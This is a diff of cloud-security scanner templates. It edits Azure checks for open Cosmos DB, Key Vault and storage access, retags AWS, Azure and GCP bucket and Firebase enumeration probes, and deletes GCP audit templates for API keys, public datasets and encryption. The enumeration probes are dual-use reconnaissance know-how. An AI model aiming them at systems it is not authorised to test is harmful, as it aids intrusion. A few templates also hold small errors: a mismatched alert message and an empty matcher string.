# digest: 4b0a00483046022100e7b40c386f3b996967bba58bdfcdd5364875f896a5b894e960b2a9d9041b5228022100b894c1d029450025de524a5dbaab8ead72723d06402973a454fe7ba8da39a1b9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a307116679a3bfcde8e8e662e343e414b7eb0307b7b48e8caab463a8fb1c4d1802200d15c837eb1ef033e38fdb9f6d48da4240a04cfb03831bfce2f082d7a64020a0:922c64590222798bb761d5b6d8e72950
@@ -39,15 +39,21 @@ code:
- sh
- bash
source: |
az cosmosdb show --ids $id --query "{publicNetworkAccess: publicNetworkAccess, virtualNetworkRules: virtualNetworkRules}" --output json
az cosmosdb show --ids $id --query '{"ipRules":ipRules,"isVirtualNetworkFilterEnabled":isVirtualNetworkFilterEnabled}' --output json
matchers-condition: and
matchers:
- type: word
words:
- '"publicNetworkAccess": "Enabled"'
- '"isVirtualNetworkFilterEnabled": false'
- type: word
words:
- '"ipRules": []'
- '"ipRules": null'
extractors:
- type: dsl
dsl:
- 'id + " is unrestricted with default network access"'
# digest: 490a0046304402201b52806f47e1c0a2e8267269a5aef2f8cd84daf085c320160c0a22c9a32f16b902204f6da44a563362ae4fc20de0be0cbbe1e4412896d6149e06a8aa4a3928ad124c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100cb26538e8bb7b97b94d92971d4e07f524f8f431339a982d078f398a65314724902201a2efdf52b03527c0d8f1a9c4816e041ec52fb0b74bf63e8481dfc0a679f9d4c:922c64590222798bb761d5b6d8e72950
@@ -39,16 +39,16 @@ code:
- sh
- bash
source: |
az keyvault show --name $vaultName --query 'properties.publicNetworkAccess' --output tsv
az keyvault show --name $vaultName --query 'properties.networkAcls.defaultAction' --output json
matchers:
- type: word
words:
- 'Enabled'
- '"Allow"'
- ''
extractors:
- type: dsl
dsl:
- 'vaultName + " is configured to allow unrestricted Key Vault network access"'
# digest: 490a0046304402202235e2154b8f07704fc4c2d1c908bfa81bed50c8e1e810045f98dfde26b1ecd6022079a2551d6e4708fab8d25470394d4e9389b3fa624f2840652adcfc7c8a779b3e:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200a69471e0adb1de1ded0fd0dc5901d9ded2c25d65574c1b574e409c7bcba70da022100c4c62e0af8d1d317784ff35df3d35c7558b6a83155a6a73a92f868a6073a8adc:922c64590222798bb761d5b6d8e72950
@@ -45,10 +45,10 @@ code:
matchers:
- type: word
words:
- 'true'
- 'false'
extractors:
- type: dsl
dsl:
- 'ids + " has public access enabled"'
# digest: 490a0046304402200a4647bd2fcbf10578588b6759a03e7c950b6dd1097956c795e10ed117bdc765022051b5ccfe57bd9dbe49c43aba85f04b56ed99c6b7e1636cac6faeb80ba691dc7d:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f755c16fc63db658362f5f67dfe2c2033a4272b416639726c548fc8895f49c1d022100e57e148fcab6a467515f5983dfe1ddf7f1ba8c73d72f9835c13befe146fffb85:922c64590222798bb761d5b6d8e72950
@@ -42,13 +42,14 @@ code:
source: |
az storage account show --name "$name" --query 'allowCrossTenantReplication'
matchers-condition: and
matchers:
- type: word
words:
- 'true'
- 'false'
extractors:
- type: dsl
dsl:
- '"Cross-Tenant Replication is enabled for " + name + ", posing a security risk"'
# digest: 4b0a00483046022100ef0f1360870fe2845c40b84a1de7171a6612e371a0176675ced7d4fda7a1c4b5022100815143249c65ce85f872d8dd949c933cbb762d39fcf3e6bde403920f9c5aee75:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022000ae1a04ecda351a200bbc28099b9ddca8bbaa6f20579cde6d31ae404b97227d02206c5b1363ed1c0f656c4a4d219af389035dbfe84597b4a1d3842a4f076a5e49ff:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -38,4 +38,4 @@ http:
name: "Protected AWS S3 Bucket"
status:
- 403
# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,azure,dns,discovery
tags: cloud,enum,cloud-enum,azure,dns
self-contained: true
@@ -29,4 +29,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
tags: cloud,cloud-enum,azure,fuzz,enum,dns
self-contained: true
@@ -63,4 +63,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,azure,discovery
tags: cloud,enum,azure
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -40,4 +40,4 @@ http:
- "status_code==302"
- contains(location, "login")
condition: and
# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,gcp,discovery
tags: cloud,enum,cloud-enum,gcp
self-contained: true
@@ -37,4 +37,4 @@ http:
name: "Protected GCP Bucket"
status:
- 403
# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -32,4 +32,4 @@ http:
name: "Open GCP Firebase App"
status:
- 200
# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -48,4 +48,4 @@ http:
name: "Deactivated GCP Firebase RTDB"
status:
- 423
# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
@@ -1,73 +0,0 @@
id: gcloud-api-key-restrictions-missing
info:
name: Missing API Key API Restrictions
author: princechaddha
severity: medium
description: |
Ensure that the usage of your Google Cloud API keys is restricted to specific APIs such as Cloud Key Management Service (KMS) API, Cloud Storage API, Cloud Monitoring API, and Cloud Logging API. All Google Cloud API keys that are being used for production applications should use API restrictions.
impact: |
API keys without specific API restrictions can be used to access any GCP API, potentially leading to unauthorized access and misuse of resources. Implementing API restrictions helps in limiting the scope of API keys to intended services only.
remediation: |
Apply API restrictions to each Google Cloud API key to limit their usage to specific APIs. This can be managed through the Google Cloud Console or using the gcloud command-line tool.
reference:
- https://cloud.google.com/api-keys/docs/restricting-api-keys
tags: cloud,devops,gcp,gcloud,api-keys,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let apiKey of iterate(template.apiKeys)){
set("apiKeyUid", apiKey)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud alpha services api-keys list --project=$projectId --format="json(uid)"
extractors:
- type: json
name: apiKeys
internal: true
json:
- '.[].uid'
- engine:
- sh
- bash
source: |
gcloud alpha services api-keys describe $apiKeyUid --format="json(restrictions)"
matchers:
- type: word
part: body
words:
- 'null'
extractors:
- type: dsl
dsl:
- '"Unrestricted API Key: " + apiKeyUid + " in Project: " + projectId'
# digest: 4b0a00483046022100b6b2f16aaed30fbe7cf6f76b17cd99ebb5394c3f78c791dd66de6d10bdbab3ab022100858dcb4e5f0139b7c9e1431d7318a4ddf89998fb7cc475285f14c0c5fb3819a0:922c64590222798bb761d5b6d8e72950
@@ -1,72 +0,0 @@
id: gcloud-api-key-unrestricted
info:
name: Unrestricted API Key Usage
author: princechaddha
severity: medium
description: |
Ensure that the use of Google Cloud API keys is limited to trusted and reliable hosts, HTTP referrers, or applications. An API key application restriction manages the authorization of websites, IP addresses, or Android/iOS mobile applications that can employ your API key. It is crucial that all API keys used in production employ host and application restrictions. By enforcing these restrictions, you can reduce the impact that a compromised API key can have on your applications.
impact: |
API keys without restrictions can be used unrestrictedly, which might lead to unauthorized access and misuse, potentially exposing sensitive data or services.
remediation: |
Apply restrictions to all production API keys to specify the allowed websites, IP addresses, or mobile applications that can use each key, to mitigate potential abuse.
reference:
- https://cloud.google.com/docs/authentication/api-keys#restricting_api_keys
tags: cloud,devops,gcp,gcloud,api-keys,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let uid of iterate(template.uids)){
set("uid", uid)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud alpha services api-keys list --project $projectId --format="json(uid)"
extractors:
- type: json
name: uids
internal: true
json:
- '.[].uid'
- engine:
- sh
- bash
source: |
gcloud alpha services api-keys describe $uid --format="json(restrictions)"
matchers:
- type: word
words:
- 'null'
extractors:
- type: dsl
dsl:
- '"Unrestricted API Key: " + uid + " in Project: " + projectId'
# digest: 4a0a00473045022100d1751d133cbe1cb508355fb6acc6fb0d51094a8c42db864114772bfce2fd382a022022cb36fbfcf3f8b8ef22cd8a428104f85035cc421437b2e735f221396b39c224:922c64590222798bb761d5b6d8e72950
@@ -1,61 +0,0 @@
id: gcloud-api-keys-inactive-services
info:
name: API Keys Should Only Exist for Active Services
author: princechaddha
severity: low
description: |
Ensure that your Google Cloud projects are using the standard authentication flow as the preferred method for authentication, rather than relying on API keys. API keys are simple encrypted strings that can be used when calling certain APIs which don't need to access private user data. API keys should be exclusively employed for active services when alternative authentication methods are not accessible, otherwise deleted.
impact: |
Using API keys for inactive services can expose your applications to unnecessary security risks. It is advisable to employ standard authentication methods and ensure that API keys are used judiciously and only for active services.
remediation: |
Review and ensure that API keys are only configured for active services. Delete or disable API keys associated with inactive or unnecessary services to minimize security risks.
reference:
- https://cloud.google.com/docs/authentication/api-keys
tags: cloud,devops,gcp,gcloud,api-keys,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud alpha services api-keys list --project=$projectId --format="json(uid)"
matchers:
- type: word
words:
- 'uid'
extractors:
- type: json
name: uid
internal: true
json:
- '.[].uid'
- type: dsl
dsl:
- '"Inactive API Key found: UID: " + uid + " in Project: " + projectId'
# digest: 490a0046304402207d9636d01e08f534fa218db024859e2229a20f9545b6dda783fb652284e64785022049b4893759d0e724f60c748db1d8d00f7499c3830638f2d6d16bdd41043ee5e9:922c64590222798bb761d5b6d8e72950
@@ -1,54 +0,0 @@
id: gcloud-critical-service-apis-disabled
info:
name: Critical Service APIs Not Enabled
author: princechaddha
severity: critical
description: |
Ensure that critical service APIs are enabled for your GCP projects to gain access to essential functionalities and services provided by Google Cloud Platform (GCP), manage your project resources efficiently, enhance the security of your cloud environment, and track your usage and billing. The critical service APIs include, but are not limited to, Identity and Access Management (IAM) API, Compute Engine API, Cloud Storage, Google Cloud Pub/Sub API, Cloud Key Management Service (KMS) API, and Cloud Logging API.
impact: |
Disabling critical service APIs can prevent the proper management and security of GCP resources, potentially leading to service disruptions or compromised security.
remediation: |
Enable the necessary service APIs via the GCP Console or the gcloud command-line tool for each project where they are found to be disabled.
reference:
- https://cloud.google.com/service-usage/docs/enable-disable
tags: cloud,devops,gcp,gcloud,api-management,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud services list --project $projectId --enabled --filter=name:iam.googleapis.com --format="json" | jq '.'
matchers:
- type: word
words:
- '[]'
extractors:
- type: dsl
dsl:
- '"Critical API not enabled: IAM API in Project: " + projectId'
# digest: 4a0a004730450221008a33e85deb35cb7e682c6875bd120be993c3a552deaa4cd2831b5531d9efe550022013a2421e83defe9ea15eb71ffe62daaabb0dca6395e27b06449c3c81f7a43abe:922c64590222798bb761d5b6d8e72950
@@ -1,55 +0,0 @@
id: gcloud-security-center-api-disabled
info:
name: Security Command Center API Disabled
author: princechaddha
severity: high
description: |
To access historical security findings and asset data in Security Command Center, ensure that the Security Command Center API is enabled within your Google Cloud account. If the API is not enabled, certain security features and monitoring capabilities will be unavailable.
impact: |
Disabling the Security Command Center API may limit visibility and control over security threats, leading to potential vulnerabilities and undetected risks within Google Cloud environments.
remediation: |
Enable the Security Command Center API for each Google Cloud project to maintain proper security monitoring and threat detection capabilities. This can be done through the Google Cloud Console or using the `gcloud services enable securitycenter.googleapis.com` command.
reference:
- https://cloud.google.com/security-command-center/docs/reference/rest
tags: cloud,devops,gcp,gcloud,security-center,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud services list --project $projectId --enabled --filter="name:securitycenter.googleapis.com" --format="json"
matchers:
- type: word
words:
- '[]'
extractors:
- type: dsl
dsl:
- '"Security Command Center API is not enabled in Project: " + projectId'
# digest: 490a0046304402205fea2a2e299a52eb546969bd6614f8700c6998c55466aa365d9ccd4075587d6b02204484e1f2e8d8006c0a73a607a0b0b2d522950ab551a33fe17e1cb27e565996e0:922c64590222798bb761d5b6d8e72950
@@ -1,55 +0,0 @@
id: gcloud-cloud-asset-disabled
info:
name: Cloud Asset Inventory Not Enabled
author: princechaddha
severity: high
description: |
Ensure that Cloud Asset Inventory is enabled for all your GCP projects in order to efficiently manage the history and the inventory of your cloud resources. Google Cloud Asset Inventory is a fully managed metadata inventory service that allows you to view, monitor, analyze, and gain insights for your Google Cloud and Anthos assets. Cloud Asset Inventory is disabled by default in each GCP project.
impact: |
Not having Cloud Asset Inventory enabled can prevent the organization from having a managed and insightful view over its cloud resources, potentially leading to mismanagement and security risks.
remediation: |
Enable the Google Cloud Asset Inventory by activating the Cloud Asset API in each GCP project through the Google Cloud Console or using the `gcloud services enable cloudasset.googleapis.com --project <project-id>` command.
reference:
- https://cloud.google.com/asset-inventory/docs
tags: cloud,devops,gcp,gcloud,cloud-asset,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud services list --project $projectId --enabled --filter="name:cloudasset.googleapis.com" --format="json"
matchers:
- type: word
words:
- '[]'
extractors:
- type: dsl
dsl:
- '"OS Config service is disabled for Project: " + projectId'
# digest: 4a0a00473045022100c28adedbeb559d545dc0eca6cf3a0004844111370c7d0ede7af66abdff49dcb902204355d8cd6f1790b8802945e4337dff422ab941931047a7e12a390868e7a71b09:922c64590222798bb761d5b6d8e72950
@@ -1,74 +0,0 @@
id: gcloud-artifact-registry-public
info:
name: Publicly Accessible Artifact Registry Repositories
author: princechaddha
severity: high
description: |
Identify any publicly accessible Artifact Registry repositories within your Google Cloud account and update their IAM policy in order to protect against unauthorized access. To deny access from anonymous and public users, remove the bindings for "allUsers" and "allAuthenticatedUsers" members from the IAM policy associated with your repository.
impact: |
Public accessibility of Artifact Registry repositories can lead to unauthorized data access or data leaks. Restricting access ensures that only authorized entities can view or manipulate the repositories.
remediation: |
Update the IAM policies for each Artifact Registry repository to remove "allUsers" and "allAuthenticatedUsers". This action will ensure that repositories are not exposed to any user on the internet or authenticated users not explicitly granted permission.
reference:
- https://cloud.google.com/artifact-registry/docs/managing/access-control
tags: cloud,devops,gcp,gcloud,artifact-registry,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let repository of iterate(template.repositories)){
set("repositoryName", repository)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud artifacts repositories list --project $projectId --format="json(name)"
extractors:
- type: json
name: repositories
internal: true
json:
- '.[].name'
- engine:
- sh
- bash
source: |
gcloud artifacts repositories get-iam-policy $repositoryName --project $projectId --format=json | jq '.bindings[].members[]'
matchers:
- type: word
words:
- 'allUsers'
- 'allAuthenticatedUsers'
condition: or
extractors:
- type: dsl
dsl:
- '"Publicly Accessible Artifact Repository: " + repositoryName + " in Project: " + projectId'
# digest: 490a00463044022026de167568a630dd6a523997aa3e223e803d9c8e54f7425f71caf8c2e8dfb9e102201af5d1224515cbec4b09f8c167c0e1094aa807fd72b894a27c294228357e1ce6:922c64590222798bb761d5b6d8e72950
@@ -1,59 +0,0 @@
id: gcloud-vuln-scan-missing
info:
name: Artifact Registry Vulnerability Scanning Not Enabled
author: princechaddha
severity: high
description: |
Ensure that vulnerability scanning for Google Cloud Artifact Registry repositories is enabled in order to find security weaknesses in your container images before deploying them and help prevent security breaches.
impact: |
Disabling vulnerability scanning on Artifact Registry repositories can expose your deployment to undiscovered security vulnerabilities, increasing the risk of security breaches.
remediation: |
Enable the Container Scanning API for each Artifact Registry by visiting the API & services page in the Google Cloud Console and enabling `containerscanning.googleapis.com`.
reference:
- https://cloud.google.com/artifact-registry/docs/vulnerability-scanning
tags: cloud,devops,gcp,gcloud,artifact-registry,container-scanning,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud services list --enabled --project $projectId --format="json(config.name)"
matchers:
- type: word
words:
- 'containerscanning.googleapis.com'
negative: true
- type: word
words:
- '"config":'
extractors:
- type: dsl
dsl:
- '"Vulnerability Scanning not enabled for Artifact Registry in Project: " + projectId'
# digest: 4a0a004730450221009fddff36e3531876ec8020199fd3d82830417f005b705281b2382f4415a1a2750220507b9a58b4acc754e098c9bfad7d61ec238a0e4d4069632fb08eea3891c320ab:922c64590222798bb761d5b6d8e72950
@@ -1,71 +0,0 @@
id: gcloud-bigquery-cmek-not-enabled
info:
name: BigQuery Dataset Encryption with Customer-Managed Encryption Keys Not Enabled
author: princechaddha
severity: high
description: |
Ensure that all your Google Cloud BigQuery datasets are encrypted using Customer-Managed Encryption Keys (CMEKs) in order to have a more granular control over the dataset encryption/decryption process. Datasets not encrypted with CMEKs may expose sensitive data to higher risks.
impact: |
Using Google-managed keys for dataset encryption limits control over the encryption process and may not meet compliance requirements that specify encryption key management policies.
remediation: |
Update the encryption configuration of your BigQuery datasets to use Customer-Managed Encryption Keys. This can be done by setting the 'defaultEncryptionConfiguration' property of each dataset to use a 'kmsKeyName' that you manage.
reference:
- https://cloud.google.com/bigquery/docs/customer-managed-encryption
tags: cloud,devops,gcp,gcloud,bigquery,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let dataset of iterate(template.datasets)){
set("datasetId", dataset)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
bq ls --project_id $projectId --format="prettyjson"
extractors:
- type: json
name: datasets
internal: true
json:
- '.[] | .datasetReference.datasetId'
- engine:
- sh
- bash
source: |
bq show --format=prettyjson $projectId:$datasetId | jq '.defaultEncryptionConfiguration.kmsKeyName'
matchers:
- type: word
words:
- 'null'
extractors:
- type: dsl
dsl:
- '"Dataset without CMEK: " + datasetId + " in Project: " + projectId'
# digest: 4a0a004730450221009a940bc0e74b624a666bd31616a1c6271401d731875ab33a0da908d016dc5805022053028b9e545d9edddb5d9c5323ce52dc26a2baf3b756ce0086c36036eb1ed54e:922c64590222798bb761d5b6d8e72950
@@ -1,89 +0,0 @@
id: gcloud-bigquery-cmk-not-enabled
info:
name: BigQuery Datasets Not Encrypted with Customer-Managed Keys
author: princechaddha
severity: high
description: |
Ensure that the tables created for your Google Cloud BigQuery datasets are encrypted with Customer-Managed Keys (CMKs) to have more granular control over the data encryption/decryption process. Using CMKs allows you to create, rotate, manage, and destroy your own encryption keys using Google Cloud Key Management Service (Cloud KMS).
impact: |
If BigQuery dataset tables are not encrypted using CMKs, it limits the control over data encryption and decryption, increasing the risk of unauthorized data access.
remediation: |
Configure BigQuery dataset tables to use Customer-Managed Keys (CMKs) for encryption. This can be done in the dataset settings where you specify the encryption key managed in Google Cloud KMS.
reference:
- https://cloud.google.com/bigquery/docs/encryption-customer-managed-keys
tags: cloud,devops,gcp,gcloud,bigquery,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let dataset of iterate(template.datasets)){
set("datasetId", dataset)
code(3)
for(let table of iterate(template.tables)){
set("tableName", table)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
bq ls --format=prettyjson --project_id $projectId
extractors:
- type: json
name: datasets
internal: true
json:
- '.[].datasetReference.datasetId'
- engine:
- sh
- bash
source: |
bq ls --format=prettyjson --project_id $projectId --dataset_id $datasetId
extractors:
- type: json
name: tables
internal: true
json:
- '.[].tableId'
- engine:
- sh
- bash
source: |
bq show --format=prettyjson $projectId:$datasetId.$tableName | jq '.encryptionConfiguration.encryptionType'
matchers:
- type: word
words:
- 'null'
extractors:
- type: dsl
dsl:
- '"Table Not Encrypted with CMK: " + tableName + " in Dataset: " + datasetId + " of Project: " + projectId'
# digest: 4a0a00473045022100d0aae04454fade0847368986e22e385a6cb6eb1103e6c80d2e46201c7272760e0220564730acd22e8d0e07db2ade095020b69593279d3a9e5ad5b9648251b4544499:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-bigquery-public-datasets
info:
name: Publicly Accessible BigQuery Datasets
author: princechaddha
severity: high
description: |
Ensure there are no anonymously and/or publicly accessible BigQuery datasets available within your Google Cloud Platform (GCP) account. Google Cloud BigQuery datasets have Identity and Access Management (IAM) policies configured to determine who can have access to these resources. To refuse access from anonymous and public users, remove the bindings for "allUsers" and "allAuthenticatedUsers" members from the IAM policy associated with your datasets.
impact: |
Publicly accessible BigQuery datasets can lead to unauthorized data access or data leaks. Ensuring that access is restricted helps maintain the integrity and confidentiality of your data.
remediation: |
Update the IAM policies for each BigQuery dataset to remove "allUsers" and "allAuthenticatedUsers". This action will ensure that datasets are not exposed to any user on the internet or authenticated users not explicitly granted permission.
reference:
- https://cloud.google.com/bigquery/docs/managing-dataset-access
tags: cloud,devops,gcp,gcloud,bigquery,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let datasetId of iterate(template.datasetIds)){
set("datasetId", datasetId)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
bq ls --project_id $projectId --format=json
extractors:
- type: json
name: datasetIds
internal: true
json:
- '.[].datasetId'
- engine:
- sh
- bash
source: |
bq show --format=prettyjson $projectId:$datasetId | jq '.access[] | select(.role != null and (.specialGroup == "allUsers" or .specialGroup == "allAuthenticatedUsers")) | .role'
matchers:
- type: word
words:
- 'roles/bigquery.dataViewer'
- 'roles/bigquery.dataEditor'
- 'roles/bigquery.dataOwner'
condition: or
extractors:
- type: dsl
dsl:
- '"Publicly Accessible BigQuery Dataset: " + datasetId + " in Project: " + projectId'
# digest: 490a004630440220244f74cd6bc6aa70ae3f127aab2e43cee539141d4eaf7c460ba11126ce1d46ed02202d883b802f8d9610b05efe7ff9d09e24acde57969de692f527722f4cf7f7de53:922c64590222798bb761d5b6d8e72950
@@ -1,89 +0,0 @@
id: gcloud-backend-bucket-missing-storage
info:
name: Backend Buckets Referencing Missing Storage Buckets
author: princechaddha
severity: high
description: |
Ensure that your Cloud CDN backend buckets are referencing existing storage buckets in order to be able to deliver static content efficiently from the nearest edge location to users, reducing latency and improving performance.
impact: |
Referencing missing storage buckets can lead to a failure in content delivery, increased latency, and a poor user experience.
remediation: |
Verify that each backend bucket is referencing an existing storage bucket. Update the Cloud CDN backend bucket configuration to point to valid and existing storage buckets.
reference:
- https://cloud.google.com/cdn/docs/backends
tags: cloud,devops,gcp,gcloud,cdn,cloud-cdn,gcp-cloud-config
flow: |
code(1)
